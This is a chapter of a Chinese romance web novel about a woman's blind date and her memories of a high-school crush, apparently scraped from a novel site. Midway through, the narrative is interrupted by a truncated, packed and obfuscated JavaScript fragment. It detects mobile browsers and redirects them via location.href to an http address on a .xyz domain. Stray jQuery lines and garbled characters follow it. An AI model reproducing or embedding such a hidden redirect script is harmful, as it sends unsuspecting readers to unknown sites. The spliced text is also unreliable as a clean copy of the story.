4. 去相亲

作品:《孤独症取暖指南

    冯宛粲立马来了兴致,做好吐槽的准备,叮嘱赵必珲一定要给自己现场直播,万万不可错失热闹。


    她们从卧室出来,一起下楼。


    在这座三层小洋房里,二三层住人,临街第一层便是冯家的家族产业:便民超市。冯宛粲作为未来的继承人,目前担任会计工作,也算是专业对口。


    柜台上,冯妈妈正歪头打盹,听见动静,忙睁开眼,见是冯宛粲又来偷拿零食,笑着逗弄她:


    “行了行了,卖的多还是你吃的多啊?你来帮我看着,我还要去接你妹妹。”


    又见赵必珲跟在后面,忙招呼她自己拿零食。


    赵必珲推辞一番,对冯宛粲告别。


    “这么急着走干嘛?”冯妈妈挽留道。


    冯宛粲趴在她妈妈的背上,活像个懒散的考拉。


    “妈,赵大小姐要去赴约呢,你别耽误了人家。”


    赵必晖无奈白她一眼,只留下一句“阿姨我先走了”便出去打车。


    虽然李思梅严词厉色让她隆重打扮一番,但她一贯素面朝天,衣服也只挑舒适实用的款式,于是就这么穿着冲锋衣和球鞋赶到了约会地点。


    花火步行街刚翻修不久,,临近傍晚,熙熙攘攘。


    她站在一颗香樟树下等待着,渐渐华灯初上,夜色下星光璀璨。


    正百无聊赖地刷着手机,身边走过几个高中女生,叽叽喳喳着,像一群小麻雀。


    “哇,你看见没。”


    “看见了,看见了,好帅啊!”


    “你应该上去要个Q嘛!”


    “唉,就是就是,可惜了。”


    她故作老城地摇了摇头,现在的孩子啊,想起当初自己,最多的也就是个偷看——


    ——怎么感觉更鬼鬼祟祟了?


    在开学第一天的晨会上,校长便声嘶力竭地训斥:任何将注意力从高考上移开的行为都是犯罪。


    多看他一眼都是犯罪!


    这帮子市重点的学生过得不比监狱囚犯好多少。


    那时学习任务重,谁最能熬夜成了可以炫耀的资本,一天二十四小时怎么够用,恨不得支取来生。


    自然睡眠不足,平时全靠浓茶和咖啡救命,于是眼保健操时间成为默认的小憩时刻,音乐一响,大家纷纷枕臂就睡。


    赵必珲一边告诫自己学业为重,一边找借口只是看看不会怎么样吧,便每次在眼保健操众人都闭上眼时,悄悄小幅度地露出双眼,往斜前方瞄去。


    一排趴着的人群里,只有费琼斯还正襟危坐,骨节分明的纤长手指在脸上比划,唯独他老老实实在做眼保健操。


    赵必珲不由自主勾起嘴角。


    忽然,本来紧闭的双眼骤然睁开,在阳光的直射下,竟然莫名有了些许灰蓝色的明澈。


    接着,他微微偏过脸,看向赵必珲。


    赵必珲忙低头闭眼,心脏发出怦然抗议,在肋骨间疯狂跃动,犹如踩在琴键上,耳边也传来海潮般的声浪。


    再抬头,对面已不见人影。


    其实也挺没劲的,现在回想起来,一个眼神就让自己大喜大悲,真是没出息。


    她还未从回忆中缓过来,骤然身后响起一句:“你就是赵必晖吧?”


    忙整理出模式化的客套面具回头,把那人上下打量一番。


    也是穿着宽松的运动套,巨大的logo,倒也不秃不矮,宽肩长腿,反戴一顶鸭舌帽,面容有几分和煦的清秀,比前几个顺眼点。


    赵必珲忽然想到自己连他的名字都没留意。


    “我是,你是......”


    “安逸晨。”那人也不计较,笑道,“等好久了吧?”


    "没有没有,我也才到。"的确等一会儿了好吧,她努力维持住笑容,忍不住问,“你刚才在做什么?”


    “哎,我和几个哥们儿打篮球来着忘了时间。”安逸晨咧嘴一笑,故作潇洒地擦了一把不存在的汗水。


    赵必晖嘴角抽动了一下,不知是不是心理作用,已经闻到了一阵若有似无的汗味。


    因为对气味很敏感,她一直不喜欢爱打球的男生。


    不过在那时,或许现在也是,在篮球场上挥斥方遒注定赢得大多数女孩的视线。


    就像高一第一节体育课上,男生们争先恐后地参加篮球队。


    在一片清亮凛冽的柚木地板的气息中,他们按身高排列好。


    赵必珲因为个子高,被安排在女生第二排,临近男生第一排,这没什么好偷乐的,因为费琼斯在最后一排。


    等体育老师开始挑选篮球队队员时,她混在女生中间,坐在体育馆上面深蓝色的观众席上。


    挑选似乎格外严格,所有男生排队量身高体重。


    最受体育老师青睐的韩余朗果然脱颖而出,因为硬件条件和软件技术成为篮球队的队长,加上前段时间高票当选体育委员,也算众望所归。


    他高大挺拔,虽眼睛略小,眉骨鼻梁都可圈可点,有几番俊朗的飞扬神采,加上性格开朗热情,不少女生喜欢和他嬉闹。


    右前方立马爆发出一阵热闹的起哄,原来是一向活泼的谢斐和聂萱。


    冯宛粲瘪瘪嘴,凑到赵必珲耳边:“好好笑,她移情别恋真快。”


    赵必晖看过去。


    谢斐妈妈是市电视台著名的歌唱演员,以一管子绕梁花腔在市民中混得眼熟。


    谢斐也是个风风火火花里胡哨的性子,才几天就把班里所有人认识个遍,这个不行马上进攻下一个,倒也无可厚非。


    接着又选出几个四肢修长的高个子男生,站在那活像一排城墙,其中就有百无聊赖的费琼斯。


    体育老师又安排几个测试项目,例如跳远。


    出人意料的是,费琼斯的姿势动作竟然相当标准,轻盈敏捷,像某种骨架飘逸的猫科动物,完全看不出平时只顾埋头于书本间的做派,自然惹得右前方女生一阵喝彩。


    韩余朗先是瞄着费琼斯,听到喝彩后又扭头望向谢斐那方。


    谢斐倒没觉察,更后一排的赵必珲却睃在眼里,附身对冯宛粲贴耳道:“韩余朗很关注谢斐呢。”


    冯宛粲嘿嘿一笑,损她:“你还有精力关注别人呢?”


    赵必珲品出调侃的意味,耳后默默一热,推她一把,还是俯瞰向他。


    他会参加么?赵必珲坐在观众席上,托着腮,不禁遐想出日后她一定要时时坐在这里看他训练。


    体育老师显然也格外注意到他,一连询问许久,看表情言辞颇为恳切,但对方不为所动。


    赵必珲猜出费琼斯应该是不会参加篮球队。


    而她目光稍微偏移,便注意到韩余朗已经召集入选篮球队的汇合在另一边,只剩□□育老师和费琼斯。


    等老师相当遗憾地离开时,那边只剩下费琼斯一个人。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863819|159478||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >篮球砸向地板,“嘭——嘭——”,拖长的空旷,费琼斯缓缓离开人群,最终仍旧是形单影只。


    心口莫名涌现出一股感同身受的悲悯。


    “他肯定拒绝啦,看他就是除了读书什么都不感兴趣的人。”几个落选的男生靠在观众席前的围栏上,不无讥刺道。


    “装什么啊,没见过这么拽的。”


    “真以为自己长多好么,那些女生也是没品啦。”


    一句两句灌进赵必珲耳朵里,她不动声色地翻了个白眼。


    前方的谢斐和聂萱已经大大咧咧站起来,俯在围栏上和那些男生攀谈。


    赵必珲也和冯宛粲起身决定趁着快下课了去小卖部整点零食哄自己上课。


    但经过谢斐她们时,却发现谢斐因为附身抵在围栏上端,衬衣的口子开得略大了。


    一帮男生围观着,没一个提醒她。


    赵必珲不假思索,高声喊:“谢斐。”


    谢斐不明所以地望向她,她点了点自己的胸口,谢斐立马会意,低头一瞅,忙反手扯了扯衣摆,冲她笑笑。


    冯宛粲拉着赵必珲汇进另一边准备前往小卖部的女生队伍里。


    “还是拒绝好,训练可不是要费时间呢。”女生们还在八卦方才的好戏。


    “其实他人没那么傲,上次我值日想换班,其他人都不同意,就他一口答应了。”和费琼斯同组的戴黛说。


    “只要不开口都挺好的。”班长陈令仪说。“我前几天找几个男生去搬资料,他倒答应得痛快,路上我害怕尴尬嘛,就随便问了几句,大家不都是这样的么,闲聊嘛,还能问什么,你家住哪里啊,父母做什么的,结果他直接回我:‘这是背景调查么?’这算什么事儿!”


    陈令仪哭笑不得,大家都嘻嘻笑起来,赵必珲也忙跟着笑。也不能算完全是掩饰,的确挺滑稽,明明这样一个人,说话却让人摸不着头脑,难免有些反差感。


    很久之后,她也问起过他,为什么一开始就表现得拒人于千里之外?


    他很理所当然地回答:“如果是背景调查,我当然会全部告诉她。”


    与其说孤僻,不如说脑回路异于常人。


    可即便是这样的鸡同鸭讲,也让她胸中弥漫一股莫名的温暖,像是注视着孩子的牙牙学语。


    她不免唇角泛起清浅的微笑,这让安逸晨有些自作多情:“哎呀,你看过我照片吧?本人真不上相,不过你也是比以前漂亮啦。”


    “嗯?”她忙问,“你以前认识我?”


    “我一看你的照片就想起来,也是南山中学14届的吧,我是20班的,我们还一起参加美术社呢,你不会不记得了吧?”


    她怎么可能忘记美术社。


    在整个昏暗的高中时期里,除了患得患失的暗恋事业,最让她快乐的,也只有闲暇去美术社画画的短暂时光。


    “呀!我记起来了,你是和蔡晓籁一个班的吧?”


    蔡晓籁是她当时在美术社交的朋友,一个看似沉默寡言,实则一聊到二次元就如数家珍滔滔不绝的女孩。


    “谁?”安逸晨现出迷惑的表情。


    “蔡晓籁啊,也是美术社的。”


    “唉,我大概只记住了美女吧。”他嬉笑着。


    并没有因为夸奖而高兴,反倒产生一种被挑拨离间了的不悦。她语气冷了几分,淡淡说:“哦,她高一就转走了,你大概没啥印象。”